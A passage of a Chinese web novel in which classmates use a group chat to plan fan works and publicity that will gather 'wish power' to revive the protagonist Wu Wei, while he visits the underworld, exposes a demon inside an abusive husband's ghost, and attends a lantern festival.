本来能把吴惟这个时不时能解决大事的人招进去,他都以为在向好的方向发展了。
但现实给了他一巴掌。
常皓轩甚至会阴暗的想,会不会是玄门不允许官方发展超过他们,才让他把吴惟给杀了。
但猜测到底只是猜测,没有任何痕迹,他也做不了什么。
常笑看着他哥又陷入消沉,不打算惯着他了。
一巴掌拍到他脑门上,“你到底要消沉到什么时候,吴惟现在还没死透呢!”
常皓轩表情终于有了波动。
“你忘记曲姐说的了吗,他需要愿力。”
“可我能做什么?”他似乎什么也没做好过…他只会添乱。
常笑屈膝半跪下来,平视着常皓轩,一字一句地说道:“哥,你听着,一点也不废,没有人能够在不擅长的领域做好事情,你勉强自己太久了。”
“赵年为什么找你当处长,不是因为你本身有多厉害的手段,而是你可以给每个人分配最恰当的任务不是吗?”
“现在吴惟躺在床上,他需要愿力,哥,你能帮帮他吗?”
常皓轩如梦初醒。
是啊,他怎么忘了,最初加入特事局,他的目标从来就不是让自己变得多强。
明明他要做的只是要能解决问题,从什么时候开始他也追求起了实力,甚至把自己放在了一个不合时宜的位置上。
不仅是对他自己,还有吴惟。
因为他的成长太过迅速,总是能解决能力之外的事对他抱有过多的期待。
“我知道了。”常皓轩抱起饭盒,“我会救醒他的。”
不就是玩舆论吗,那可比玄门那些高傲难搞的家伙简单多了。
.
62.第 62 章
[拯救神子大作战]
笑笑不爱笑:有人吗,请求支援
大姐头:怎么了,说
笑笑不爱笑:有什么办法能让喜欢吴惟的人更多?
喵姐:??不是我嗑的cp成真了
大姐头:出事了?
笑笑不爱笑:……
笑笑不爱笑:等我问问能不能说
重生者:发生什么事了?怎么突然正经,真名都出来了
中轴赛高:瑟瑟发抖不敢说话
……
笑笑不爱笑:吴惟死了,需要愿力才可以复活,愿力就是别人真心的喜爱
重生者:???卧槽
虫虫:什么玩意,你说清楚点!
呱呱:小说情节请不要带入现实
神之嘴:骗人的吧
财神爷:可是笑笑从不说谎
大姐头:都闭嘴,笑笑把话说清楚
笑笑不爱笑:是字面意思,我知道很不可思议,但是咱们班的情况大家都清楚
笑笑不爱笑:如果不是咱们班的特殊,我也不会求助你们,上面更不会同意
笑笑不爱笑:你们不是一直好奇为什么对着许一些无伤大雅的愿望会实现吗,就是因为愿力,他被小动物喜欢也是这样
笑笑不爱笑:只要愿力足够,能让他伤势恢复
大姐头:他现在怎么样了
笑笑不爱笑:心脏被捅了一刀,曲姐为了帮他留住生命力封住了他的心脉,现在是假死状态
假道长:所以神子大人原来是哪吒转世吗?
绘梦师:你这么一说还真…
风神:万劫快拍完了,到时候看怎么运作吧,他那个角色运作好了很吸粉
风神:奇怪为什么我有种他这次来拍戏就是为了应对这次危机的一样,他那个角色,就算鹿鸣不邀请他,我也会去问问的…
重生者:不是等等,你们在说什么,那个自闭的家伙居然会去拍戏
笑笑不爱笑:……这么一说确实很像,当初哪怕你们不邀请,他也会去的,当时剧组里有我们任务目标
重生者:好家伙,这是什么宿命感
手办达人:#图片拼图#
手办达人:这个可以帮上忙吗
中轴赛高:我,顾六六,单调,蛊神,文静还有风神大人在自己的领域都有不少粉丝,可以装作追星的样子给神子大人出作品
中轴赛高:强行安利或许会引起他们的逆反心理,但是用这种方式,他们有些会好奇,说实话我不信有人看过吴惟的作品会不喜欢他,至少不会讨厌
手办达人:好
绘梦师:对称兄靠谱,等我回去研究研究神子大人的作品,出一套印象服
蛊神:行,他会成为我克苏鲁世界唯一不求回报庇护人类的正神
假道长:那我回去出一套特色纹身
风神:我去跟导演协商要怎么放花絮
神之嘴:那我呢
喵姐:记得每天早上起来骂一遍神子大人
神之嘴:?喂
喵姐:你的破嘴什么威力你不清楚?
神之嘴:……行叭
笑笑不爱笑:单调,你有空吗
绘梦师:干嘛
笑笑不爱笑:你要不过来陪吴惟睡觉吧
绘梦师:你特么能不能别说引人误会的话,不是他是假死不能做梦吧,再说我也就会让人做美梦了,不能治伤
笑笑不爱笑:你能
笑笑不爱笑:我上学之前手已经废了,是你在梦里给我修复了
绘梦师:?????!!!
绘梦师:卧槽我这么牛逼?!你不会框我吧?!
笑笑不爱笑:我不会用这种事开玩笑,无论如何试试吧
绘梦师:行,给我个地址,我去请假
大姐头:决定了,我去找万劫谈合作,到时候让山精和万劫联动,出一个为了拯救玩家和身后的百姓牺牲的天机
大姐头:世界观怎么套我都想好了,绝对塑造一个人见人爱的天机
重生者:666大姐头给力,我没啥能做的到时候随机应变,引导舆论还是可以的
财神爷:那我呢,我什么都不会
重生者:财神爷,给钱就行
财神爷:好!我会努力捡钱
虫虫:人话否
虫虫:既然你们都那么卖力了,我就先不参与了,把神子大人托付给我的园子建好
虫虫:祝大家旗开得胜,到时候让神子大人请咱们去他园子里吃烧烤
呱呱:笑笑对神子大人这段时间做的事知道多少?都告诉我,我试试小说的效果
笑笑不爱笑:好
喵姐:合着现在就我最废了是吧,话说我嗑神子cp画的那些东西能放出去吗
喵姐:其实我小号粉丝也不少
大姐头:?
大姐头:你小子私下偷偷嗑是吧
喵姐:绝对没有,我小号都是嗑动漫和明星的,咱班同学的我是一张也没放过
喵姐:不过神子大人既然演戏去了,放出来也不会显得突兀
笑笑不爱笑:会有不好的影响吗
喵姐:不会,我那个圈子都是自己悄悄嗑的,标注清楚她们不会出去舞的
笑笑不爱笑:那越多越好,要是吴惟到时候生气了,算我的
喵姐:上道
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“阿嚏…”
“哥,没事吧?”吴烬看吴惟的眼神有些担忧。
吴惟摇摇头,“总感觉有些不好的预感…”
刚刚感觉浑身恶寒,总觉得要发生什么大事。
吴烬有些凝重,“鬼魂的直觉不能忽略,哥,咱们这段时间得小心点。”
他一定会保护好哥哥!
吴惟郑重点头,“好。”
列车行驶的很慢,吴惟看够了风景才到站。
地府的风景真的很别致,地气之中的鬼怪长的奇形怪状,有的人下半身是骷髅,上半身是蘑菇伞头,还有半鱼半马身上长着树枝藤蔓的东西…
想必蛊神应该会喜欢。
除了这些微克的,也有一些梦幻的,比如顶着水母头的水晶人脸小蘑菇,长得像细菌的粉色泡泡…
它们有时候甚至会突然拆解了重新组合。
婴灵说地气之中的鬼怪一向是混乱不堪,但又有一定规律,它们的来源是失落在其中的意识,外在的形象就是提取的那些意识中的记忆,随机排列组合。
所以能够见到的也都是地球上己有的生灵组合而成。
刚刚两人下车的时候,吴惟听到一句,这次列车速度也太快了吧,只用了十几分钟,他再次感叹地府时间规则的神奇。
查察司的鬼差早就等在站外了,等吴惟一出站,就迎面走来。
“请问是吴惟小先生和吴烬小哥吗?”
吴惟点头,这个称呼好奇怪,你先生前面加个小什么意思,还不如叫小哥呢。
“你们好,我是查察司的鬼差,明沁先生让我来接你们,请随我来。”鬼差小姐做了个请的手势,吴惟两人跟上。
不一会儿三人飘到了街道附近,街上没有其他人,只有一朵蓝色蘑菇云,非常梦幻。
鬼差小姐带两人走到蘑菇云旁边一挥手云朵上出现了一个云洞,里面的颜色和外面不同,是粉色的。
好家伙,雨林后花园到过霞谷通到?
“两位请上车。”
吴惟有些惊讶,原来这是一辆车?他早在临城就见识过各种各样奇形怪状的东西,可以说人的幻想有多少,就可以捏出多少不一样的东西。
但他还是第一次见云朵状的车,很有趣。
魂体变小,吴惟的意识似乎也变得活跃起来,他顺着云洞进入云朵中,到处摸摸看看。
云朵里的空间不小,其中的饰品摆件都是用云朵做的,而这云朵手感其实更像是有棉花手感的粘土,软软的,特别好捏。
虽然车内视实心的,但只要心念一动,就可以看到外面的景色。
鬼差小姐看这吴惟的动作,嘴上不自觉地挂上了笑容。
她在吴惟两人来之前的时候就做好功课了,自然知道眼前这位是什么人。
一个度化万鬼的好心人,和他度化的万鬼意识集合体。
一个让人很容易心生好感,另一个让人心疼。
鬼差小姐看吴烬正襟危坐,眼神一直落在吴惟身上,忍不住摸摸他头,“不去一起玩吗?”
吴烬呆了呆,他意识中小孩子不多,自然小孩子那部分意识也不多。
再加上那个年代的孩子,基本早早就独立了,他总感觉已经很久没有被当成四五岁的小童对待了。
吴烬有些别扭地抿了抿嘴,突然一个白团子被递到他面前,抬头一看,原来是吴惟捧着刚捏出来的小兔子。
吴惟见他看过来,又往前送了送,“可爱吗?”
吴烬下意识抱住,回了一句,“可爱。”
“喜欢就好,拿着玩吧。”
“嗯。”吴烬脸色有些红,他又不是小孩子了,才不喜欢玩这些!
不过有点好摸…
云车速度很快,不一会儿就到了查察司门口,车没有停顿,直接进入府衙。
地府办事从来都是雷厉风行,不会没事干设立那么多关卡,当然,刚刚那个
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大门确实有拦截普通鬼的作用。
云车直接抵达大殿内部,鬼差小姐才带这两人下车。
要放下小兔子了,吴烬心中隐约有些失落。
判官小姐见状,直接把云车的钥匙交给了他。
“这个本来就是明沁先生为二位准备的礼物,还请收下。”
吴烬皱眉,“这不好吧。”
还没见面就送礼物是打的什么主意?
吴惟倒是对此不置可否,其实从婴灵和沅柩的行事作风里他就摸到了地府人做事风格都比较直接。
表达喜欢的方式也很直接,没有什么人间的弯弯绕绕,他送你东西就是说明喜欢你,没有什么特别的含义。
只是接受不接受这份善意,还是看吴烬,他没打算掺合。
吴烬初来乍到,被这一出整不会了,害怕得罪人,只好小心翼翼收下礼物。
明沁来的很快,在吴烬收下礼物没多久就到场了。
“抱歉,刚刚在翻卷宗,来的有些晚了。”
吴惟有些惊讶,听鬼差小姐先生先生的叫,还以为是个男孩子呢,眼前之人身材娇小,鹅蛋脸柳叶眉,是那种非常古典的面相。
大方眼镜和一身宽大的官袍给她增添了一种吴惟非常熟悉的气息。
这也是个死宅。
同类好啊,同类面前可以放松点。
明沁对吴惟的惊讶一点也不意外,眨了眨眼睛解释道:“地府跟人间不同,我们这里叫先生的都是女孩子,男的除非有很厉害的成就才会被这么称呼哦。”
吴惟没有感受到明沁很刻意的刺激,反而很认真点头说,“明白了,就是一切和人间反着来对吗?挺有意思的。”
其实也不难理解,因为人间那些个纠结伟大女性该不该称呼为先生的的话题被吵到天上去了。
地府既然讲究报偿,肯定会在方方面面给人世间不公的地方做一个平衡,这不过是其中之一罢了。
也许在古代,这里的女子地位更高,只不过现代男女趋于平等,所以这里才不明显。
只不过人间的平等之路还有很长,这里自然也会相应体现出这一点。
想到这,吴惟露出了迷惑的表情,“不过,我好像也没做什么,为什么鬼差小…先生会这么称呼我呢。”
没料到他是这个反应,明泌愣了一下,随后“噗嗤”一声笑了出来
她摇摇头说道,“这不重要,我把那个时期的卷宗都找了出来,还得麻烦二位一起核对。”
“好的。”
吴烬听着这两人对话一时有些无言,明沁刚刚说那段话的时候针对太明显了,她讨厌男人。
但是自家傻白甜哥哥对这方面不敏感,反而轻松化解了这种恶意。
明沁应该是被男人害死的。
吴烬会这么想也不是没有根据,毕竟他的记忆里,男的女的都有。
他们那个时代女子地位比现代女子地位要低很多,自然也有不少遭受过迫害。
金市在当年是个思想相对激进的城市,早早的就有先进的女性觉醒者,建立互相帮扶的组织,规模不小。
是以拥有金市人记忆的吴烬太能理解那种感受了,那些遭受过迫害又有独立思考能力的女性,大都认为天下男子没一个可信的,她们只能自己站起来。
大概也是因为明沁知道他不是正常意义上的男子,加上现在这一副小朋友的外壳,才让她没有对自己产生一丝针对的意思吧。
明沁确实如吴烬所想,她讨厌男人,在她那个时代,甚至不允许女性抛头露面。
她那因为活不下去,隐瞒身份从军的姐姐,最后因为被发现身份而处死。
明戈明明战功累累,但那些男人根本不认,甚至到头来,却抢了她的功劳分给了她的下属,之后还逼迫她嫁给一位同样从军,但无能草包的王爷,算盘珠子都崩人脸上了。
明戈不从,便被那些人以女子不得入军营为由处死了。
而妹妹明沁,在姐姐死后,被他们送去做了官妓,没过多久就因病亡故。
从那之后明沁对所有男性生物都抱有一丝恶意,即便是做了好几年判官,也无法避免。
好在她本人公正严谨,不然也坐不上这个位置了。
.
“这么放心你家崽子去金城?就不怕我妹妹为难他?”明戈翘着二郎腿,很没形象的躺在虚空中。
对面是趴在案牍上写着卷宗的婴灵。
她头也不抬地回了三个字,“不担心。”
“oc人眼里没有性别只有设定。”
明戈:“?”
你要不要听听自己在说什么?
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63.第 63 章
那个时代的卷宗很乱。
原本战乱年代就已经很乱了,而那段时间更是因为入侵者是外来的国家,没有他们的信息,导致记载更加混乱。
地府也不是一开始覆盖面积就有这么大。
地府还未建立的时候,轮回体系是混乱的。
万物生灵死亡之后,魂魄要么直接暴露在清气中迅速被同化,要么被地气捕捉,成为地脉的一部分。
死亡即永生。
聪明的人类发现了这一点,他们悍不畏死,杀出了一片天地。
人类在这片土地上建立国度,血腥的祭祀成为他们摄取地脉力量的主要来源。
这片大陆最原始的规则就是被一分为二的阴阳。
众所周知,阳为天,是清正,纯粹的代表,而阴为地,是浑浊,厚重的代表。
千百年来的发展,让人们对所谓的阴浊避之不及,然而这才是最初人们觉得最安全的力量来源。
清气过于纯粹,它会试图摧毁一切和它不同的事物,摄取最纯正的气融入自身,这个过程被人类称之为同化。
对清气而言,这是去芜存青,但对于生灵而言,没有意识相当于死亡,而清气所去的芜也包括意识。
但地气不一样,它是浑浊的,也是包容的,它来者不拒,意识一旦被收容与地气之中,就再也不会消失,成为大地记忆的一部分。
而大地孕育生命的能力,也是来源于这种浑浊。
人类发现女性的生殖权能和大地很像,于是尊大地为母亲,社会结构也逐渐向母系社会发展。
在人们的信仰中,逐渐拥有意识的大地,孕育了一个神明,便是后来的后土大神。
地气吸收的意识越来越多,它来者不拒,不辨是非,依靠地气获得力量的人们到底还是会受到它的影响。
母系社会的和平和安逸没有到来多久,就被残暴的统治者推翻,建立起了以实力为尊,等级森严的父系社会。
众所周知,若把人类分阴阳两面,男性为阳,女性为阴。
女性生育的权能可类比大地,其中大多数女性包容的个性也像是大地赋予的一般,沉默无言,更擅长默默守护。
而男性的攻击性,和清气很相似,纯正的清气往往拥有巨大的破坏性,若要举例,看太阳就明白了。
守护的力量总是没有进攻强,因为她们要顾及的太多,而破坏,只需要集中力量,认准一个点即可。
母系社会的脆弱就在此,她们能够包容强大富有攻击性的男性,却没想到他们会背叛,会联合起来推翻她们。
那段时期混乱异常,女人们从国家的领导人跌为阶下囚,生育和性成为她们唯一的价值。
她们之中很多人被折磨致死,不甘的怨气融入地脉,大量的怨气集结在一起,唤醒了沉睡中的后土大神。
从混乱中醒来的后土大神,感受到这片天地充斥着死亡的气息,开始追寻始末。
读取过地脉的信息之后,她明白了,不完善的轮回体系,使得一种暴戾的气息充斥天地间,混乱和无序只会造成更多的死亡。
而破坏总是要比新生更加容易,人类的意识又比其他生灵要强,他们已经影响到其他生灵正常演化了。
许多生灵不再只是单纯为了食物去捕杀,导致许多精怪逐渐灭绝。
后土大神当机立断,剔除人性中恶的部分,建立起新的轮回秩序,并唤醒被怨气侵蚀的那些女孩儿,让她们成为了地府最初鬼差。
报应与偿还——这是地府唯一一条由后土大神亲自定下的规则。
只有不断让偿还了所有罪业纯粹的意识进入投入轮回,才可以慢慢给人间带来新的生机。
秩序建立并不是一蹴而就的,后土大神给的只是一个框架,剩下的还需要鬼差们自行完善。
地府也是一个小小的鬼城,逐渐发展壮大的。
此后地府的脚步,便一直跟随着华夏的脚步扩张的,其他地区有他们的神明,和后土没关系,她也懒得管。
这就导致地府的资料库里没有外国人的信息。
但若是这个国家的轮回有管理者,还是可以互通信息的,而这个入侵国家的轮回确是最原始的状态,就像他们最初。
也难怪大多数灵魂或多或少都带有戾气。
外界的灵魂死后留在地府,导致那段时期地府管理也相当混乱,很多灵魂试图篡改地府的资料,顶替那些没来的急回归地府的亡魂。
那时管理困难,导致卷宗错乱,还是建国之后很多年,才慢慢清理出来。
那之后许多外国鬼留在了华夏,他们有些是当初来支援的反战派,有些则是被逼上战场的士兵,死后慢慢还清债务,便不愿意回到自己原本的方。
更多的还是被关押在地狱的战犯。
地府的包容性很强,只要你身上没有罪业,都可以留下。
也是自那之后地府疯狂扩张,将在人间属于地广人稀的少数民族地区,以及华夏海域,也建立了人类鬼城,和精怪鬼城守望相助。
虽然外人的加入最终结果是好的,但不能忽略融合时期带来的破坏。
那段时期地府的档案确实有丢失,因为很多信息无法印证,直接封存的提议被五方鬼帝一致通过。
这是第一次启封,地府虽然做事直接,但该有的流程还是有的,只不过简化了许多。
地府本来就是讲究报偿的地方,若是只有那么一两个鬼魂,或许因为材料丢失不好找而直接协商从其他方面补偿。
但这是数万鬼魂,大家都知道事情的严重性,这个申请自然没有遭到任何鬼神的反对,全票通过。
明沁只是把那个时期的所有卷宗调出来就耗费了不短的时间。
“这里是金城数百万灵魂的卷宗,稍后我会派人帮你们一起,筛选出当初已经被收容进地府的那部分。”
“至于其他的,只能你们自己分辨了。”
因为当初的混乱,有些灵魂回到地府已经无法维持了,只能送去轮回司手动帮他们轮回。
还有一些因为混乱无法被顾及到,选择了消籍重新开始,这部分的档案也就没有动过。
曾经遗留下来的问题多如乱麻,即使有人帮忙也会耗费大量的时间精力。
明沁作为判官,事务不少,能够派人帮他们分摊一些已经是极限了。
“好的,谢谢。”吴烬点头应下。
吴惟发现核对卷宗的任务他一点也插不上手。
他既没有查阅金城现居鬼魂名单的权限,对吴烬那数万鬼魂的经历也只是笼统的“经历”过,无法具体带入各人,更无法分辨他们的资料。
吴烬察觉到吴惟的尴尬,上前把他推到门外,“哥哥去玩吧,等结束了我去找你。”
“啊?”吴惟有些懵,这不好吧?
“哥哥能帮我到这里已经很好啦,之后的事情我可以自己做哦,不要担心。”
吴烬说话的时候不自觉染上了一丝哄小孩儿的语气,甚至还眨了眨眼睛,卖了个萌。
“那好吧,你加油。”
吴惟刚离开存放卷宗的大殿,就遇到了明沁,她抱着胸,用一副审视眼神打量他。
吴惟很有礼貌地作揖,“明先生,是有什么事吗?”
“陪我去见个厉鬼。”明沁这句没头没尾,没有任何理由,说完就走,完全不管吴惟会不会拒绝。
吴惟挺感谢她对吴烬的帮助的,自然不会拒绝,很快就跟了上去。
厉鬼是一个中年男鬼,面相凶狠眉间带煞,被勾魂锁束缚着也不老实,嘴里喊着“我是受害者,你们凭什么抓我”之类的话。
鬼差压根不理他,见到明沁两人,行了个礼,“明沁大人,您来了。”
明沁点头回礼,“说说吧,什么情况。”
“这人不知道用什么方法从罚恶司那边逃出来,被巡逻的鬼差发现的,听他说冤枉,以为是咱们查察司跑掉的就送了过来。”
“我刚刚查了一下他的生平档案,”鬼差说到这露出一个厌恶的表情,“他是被人杀的没错…”
“但杀他的人是他的妻子。”
鬼差调出档案,重点把他对妻子的家暴记录给拎了出来。
多达十几起的家暴触目惊心。
不用说在座的人明白,就他一条烂命甚至抵不过这几年的作为。
这种事明明不需要查察司再审查了,但鬼差还是上报给了明沁。
“我有些疑虑,他到底是怎么跑出来的,这人的记忆有问题,根本问不出来什么,到这来就只会说这一句。”
剩下的话她没说,但是她和明沁都心知肚明,这种情况和婴灵追捕的恶灵很像。
同样的突然越狱,同样的没有记忆,若非刚好遇到巡查的鬼差,会不会像那只恶鬼一样逃到人间为祸一方?
“是和天魔有什么关系吗?”
虽然吴惟没有听婴灵细说过关于恶鬼的事,但若是他的目标是人间的话,他能想到的只有这一个可能。
明沁撇了他一眼,说道:“你和天魔打过交道,你觉得呢?”
吴惟不清楚,他自认为脑子不是很够用,很干脆提议道:“不然用业火烧一下试试?”
反正是个恶鬼,还是个家暴的人渣,不存在像他当初那样因为气机相连而被误伤的情况。
他身上的恶业都是属于他自己的。
也就和业火共生已经有一段时间的吴惟能提出这样的意见了。
明沁欲言又止,其实她原本没想到会碰上这种事情的,当时
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只是想试探一下吴惟对女性的态度。
毕竟他和婴灵是朋友,虽然知道那小不点从来没有那根筋,但是万一呢,谁知道以后怎么样。
万一以后小朋友想谈恋爱了,对象绝对不可以是个渣,哪怕只是精神上的也不行!
明沁对这方面洁癖可以说严重至极了。若不是做事的时候会把自己的情绪抽离出去,以她的偏见不会被允许成为查察司判官的。
像吴惟这样的大功德者,她倒是不怀疑其善良的本性。
但到底什么样的社会塑造什么样的人,善良和不把女人当人是不冲突的,千百年来这样的人可不少见。
他们可以怜惜任何一个弱者,但永远不会把女性放在同等的位置上。
本来这趟只是想挑几个典型案例去观察一下吴惟的态度,结果没想到直接碰上了个大的。
一瞬间给明沁干沉默了。
突然明白为什么吴惟会被身边那个鬼叫死亡小学生了…
走哪哪都有大事,这就是传说中的应劫之人吗,恐怖如斯。
而且用业火烧一下…你当业火大白菜吗?!
不对,对这个掌握四大符阵的家伙还真是大白菜。
虽然符阵召唤出来的业火只是一个分身,但那也比普通的火焰强很多,而且自带分辨善恶的效果。
业火和其他火焰最大的不同就是,如果你身有罪业,被被灼烧不仅会痛,魂体会被灼伤。
但若是你身上没有什么罪孽,反而有功德,那么业火对你来说就如同清风。
上次吴惟会被灼伤还是因为沾染上了捆仙绳的恶业。
虽然业火本身具有分辨能力没有针对他,但气机相连,业火也没办法完全不伤到他。
就好像被胶水黏住的东西想要刮干净来很难不伤及物体本身。
吴惟会提议用业火,也是因为业火本身对天魔也有分辨作用。
天魔和普通的恶业不同,祂是人间至恶,可以理解为熔点比较高的燃料,在其他恶业被灼烧殆尽之后一定会显形。
不得不说,明沁对这个提议心动了,“那就麻烦你了。”
吴惟点头,对面的中年男鬼一听他们要用业火烧自己,立马大叫起来,“你们不能这么对我,我是受害者,我没做伤天害理的事情!”
吴惟有些不能理解,“那你怕什么?”
男鬼叫声戛然而止,他意识似乎有一瞬间卡壳了。
“业火对于没有罪业的人来说是清风,既然你认定自己是无辜的,业火是最好的证明。”
“不行!你不能烧我!”男鬼才不听这个解释,疯狂摇头,“谁知道你说的是不是真的,再说你凭什么认定我有罪!”
“可是家暴就是犯罪啊。”
“什么家暴,男人打女人天经地义!我又没把她打死。”
吴惟脸色沉了下来,眼神冰冷,可可爱爱的小圆脸,瞬间变成冷硬的神像。
“嗯,你说的对。”吴惟的声音很轻,语气却很冷,冷的男鬼打了个寒颤,“那下辈子你当女孩子好不好。”
男鬼瞪大了眼睛,“不行!这绝对不行!”
吴惟懒得跟他理论,要不是他没有绘梦师的能力,高低给他安排个家暴套餐,真是鞭子不打到自己身上不知道痛。
“明先生,一会儿我在业火符阵里面镶嵌一个因果符阵可以吗?”
“理由?”
“他不是要求减刑吗,反正气运拿来也没什么用,不如回馈他妻子好了。”
偿还因果可以抵消一部分的罪业,因果符阵一般是从气运里抽出一部分偿还受害者的。
吴惟叹了口气,“明先生,你知道吗,虽然人间发展到现在基本上能实现男女平等,但总会有些历史遗留问题地方。”
“按照他的经历来看,他妻子八成会坐牢,本来就受尽伤害还要遭到审判,也不知道出来以后要怎么生活。”
男人是在睡梦中被杀害的,女方甚至连算成正当防卫都不能行。
绘圈其实女生比较多,吴惟曾经在一个画友群里看到过她们讨论家暴的案例,反杀的十有八九都进去了。
他不知道这是不是真的,她们得到的消息有没有夸张的成分,但一定是存在很多问题的。
就比如法律这方面,从那个男鬼的记忆里能看到,他的妻子遭到家暴之后不是没报过警,但没用,警方的不作为导致她生活更加困难。
被困在婚姻中的时候,没有人去救她,出来之后可能也好不到哪去。
“若是能让她过的好一点,也算是好事一件。若是您同意,以后有用的到我的地方尽管差遣,只要不是伤天害理的事。”
“您就当是我的一点固执吧,我真的很讨厌不公平的事。”
.
64.第 64 章
明沁愣住了,吴惟的眼睛很透亮,也很认真,一点表演的痕迹都没有。
她能感受到他的真心,这人眼中似乎从没有分别,善就是善,恶就是恶,纯粹的可怕。
至少这一刻是这样的。
她突然感觉自己之前的小心思有点可笑,婴灵眼光还真是一如既往的好。
也对,小婴儿没有复杂的心思,本身对人的性格情绪方面就会比她敏感,更何况有判官笔呢。
她算是白担心了,这人和那群臭恶的男人不一样。
不,他甚至不能算是个男的,神本无相,他就像是神明在人间留下的一道影子一般。
明沁心情突然变得很好,很高兴地答应了他的提案。
反正都是惩恶扬善,是只用业火还是用上因果问题不大,只不过让某些东西少受点罪罢了。
中年男鬼还要辩解,被明沁直接禁言了。
吴惟动作很快,用功德在他身上画了个符阵,男鬼瞬间开始在地上打滚,连求饶都做不到。
良久,一阵稀薄的黑雾从他魂体内浮现出来,很快就被业火焚烧殆尽了。
“果然是天魔。”明沁臭着一张脸,对旁边的鬼差吩咐道,“去通知罚恶司那边…哦对,十殿阎罗也通知一下,都仔细点,天天有东西往外跑。”
“是。”鬼差退出了正殿。
明沁看了眼吴惟,挥了挥手,说道:“行了没事了,你去玩吧。”
吴惟:“?”
他是什么小孩子吗?为什么都要对他说这句话?
行叭,是比不过你们这些最少都上百岁的老人家。
吴惟稍稍鞠了个躬,准备离开,明沁的声音又传了过来,“对了,这个拿上。”
一个小令牌正正好飞到吴惟怀里,“拿着这个可以随意进出档案室。”
“谢谢明先生。”
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吴惟趴在金水边上往下看,水很清透,能看到水中的游鱼,以及倒悬在河底的星河。
星河不是真正的星河,因为就连人间都看不到几颗星星了,那些星星点点是一个个小灯笼,铺满整条河。
呆呆傻傻的鱼儿们看不见灯笼,有时还会穿过其中。
今天没有月亮,人间历一年一度的天灯节就在今天。
地府虽然时间混乱,但也有自己对标人间的计时方式,只不过除了年节和一些需要与人交往的场景中,一般不用。
哪怕是上班,你劳动所得的幽冥点一向是以你的产出来的,除非是类似服务业按时间算的行业,会按照人间历来算,平时大家还是更习惯按照自己时间和节奏生活。
今年的人间历很凑巧,元旦当天正好是腊月初一,所以看不到月亮。
地府的天灯节就是人间历的元旦,而天灯也不是往上飞的。
地府地府,自然是存在于地下的,以人间的大地为地面,地面上有一层天然的结界,鬼魂无法从地面直通人间。
地府没有天空的概念,地府的天就是地心,天灯节的天,自然也不可能是地心,而是通向人间的河流。
水域是唯一能够连通地府和人间的通道,从地府看水域,水是清透的,能够一眼望到底,因为地府本身是最浑浊的的地方。
透过江河湖泊望向人间,是很多鬼喜欢做的事,他们总是喜欢戏称,这就是人间脑补的“望乡台”。
河流是所有水域中最特别的,它们是向着一个方向流动的,一路向前,通向一个目的地。
抛开物理空间上的不说,人间一般认为河流流向地府,而地府认为河流是流向人间的。
所以放飞天灯,一般都是放在河里,众鬼们希望它可以带着自己的愿望和思念流向人间。
此时的金水边上人来人往,鬼魂们三三两两结伴而行,甚至有些鬼会举行一些大型祭祀活动,集体放出天灯。
从地府看河很有趣,你可以从河床底往下看,也就是和人间看河一样。
也可以站在地面上,从侧面看,这个视角甚至能看到“飞”在空中的游鱼,而它们却察觉不到你的存在。
视角有点类似于看海洋馆的玻璃幕墙背后的海底世界。
透过水幕还能看到对面的景色,这种抬头是地府,低头是人间的感觉,也很有趣。
你甚至可以看到一些瀑布,也是和人间相反的,它们拔地而起,像喷泉一样倒流却不会落下。
吴惟看够了俯视的角度,爬起来跳到地面上又托着下巴欣赏起了星河在身边流转的美景。
水流虽然有意思,但最好不要亲自下河,甚至是接触都最好不要接触。
在没有防护的情况下,溺水是很危险的,它比人间溺水要危险的多,一个不好可能就被水流冲散,灰飞烟灭了。
不过这一般是针对没有有防护的普通鬼,有修为的鬼会比普通鬼好很多,但如无必要,最好还是不要碰。
相较而言,静水安全一些,至少不会你一根手指头下去就没了。
吴惟忽然来了灵感,提起画笔…哦不对,提起意识画了一个小动画,内容大概是:
一个人间女孩在河上表演一苇渡江,视线接触到水面发现自己仿佛置身于一片星河,于是她没忍住去捞,一个没注意跌入水中。
却没想到自己竟然置身于星河之中,迎新一点点的灯火从自己身边飘过。
向远处望去一排排成群结队的小人,有三三两两聚集的,有敲锣打鼓的,有舞龙舞狮的,有耍杂技的…让人应接不暇。
当她想要伸手触碰时,一阵白光闪过,她醒了,在现代的房间里。
女孩走到窗户边,夜晚的灯火依旧明亮,忽然,不远处炸起烟花,点亮了整个天空。
意识绘画的速度要比纯手动快很多,若是让他现画少说一个月的工程量,现在短短几分钟就好了。
而且风格也是属于他自己的,只是似乎少了一份意外的灵动,各有利弊吧。
无论如何,吴惟还是挺满意这幅创作的,在幽冥网上注册了一个账号发了上去。
事事无为:[天灯节快乐 #视频# ]
[天灯节快乐呀小先生]
[这姑娘是来地府玩了一圈吗hhh,天灯节快乐!元旦也快乐哈哈哈哈]
[天灯节快乐!这画风真好看,让我嗦一口]
[哇呜,时隔多年我又看到吴惟太太的画了,真好]
[叫太太?]
[人间的称呼啦,就是很厉害的大佬的意思,我死之前就是太太的粉丝嗷,没想到太太这就下来了,这也太早了叭]
[楼上什么时候下来的]
[今年,不对,是去年年底,就前两天的事,怎么了?]
[那你可能比小先生晚下来,他是人间历十几天前。]
[啊这?!!怎么可能一点消息也没有!#大蘑菇震惊# ]
[等会儿你们为什么叫他小先生?]
[私]
[……]
吴惟的号是新起的,他自认为不会这么快有流量,发完了就直接下了。
金水边今天举办庙会,除了放天灯的,还有很多游街表演的,和卖小玩意的,吴惟打算去看看。
地府鬼魂活的都特别松弛,几乎不会为生计烦恼,这庙会办的和人间only展差不多了。
别的不说,有不少摊主直接在摊位上放了价码表,直接扫一下就可以付款了,根本不怕别人白嫖的。
当然大家也习惯了,基本上都很守规矩就是了,毕竟地府的监管不是人,而是规则本身。
想要活的久,就不能作奸犯科,否则鬼龄会被规则直接扣掉,没有回转的余地,哪怕小奸小恶,做之前也得掂量掂量。
吴惟拿起路边一个手工摊上的黑白团子,有些爱不释手。
这小熊猫不知道是用什么做的,手感特别好,把它放在胳膊上,它会自己抱住,特别可爱。
华夏人谁不喜欢熊猫幼崽呢,就是想要付款的时候有些茫然了。
身边一姑娘看出了他的尴尬,给他指了一下,“呐,直接从小灵通在这个价码表上扫一下就好了。”
吴惟:“……”
所以他得用额头上去跟价码贴贴吗?
“怎么了?”姑娘问道,“是不是幽冥点不够?”
小灵通的图案和一般纹身一样,不启动看不出来,所以她不知道吴惟额头上的莲花就是他的小灵通。
已经被怀疑了,再迟疑下去不好,吴惟面无表情地踮起脚尖,用额头贴了一下价码表,对面数字一下子就消失了,证明付款成功了。
姑娘看他的动作,“噗嗤”一下笑了出来,“你怎么
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把小灵通贴额头上啊?”
“我也不想,它自己飞上去了。”
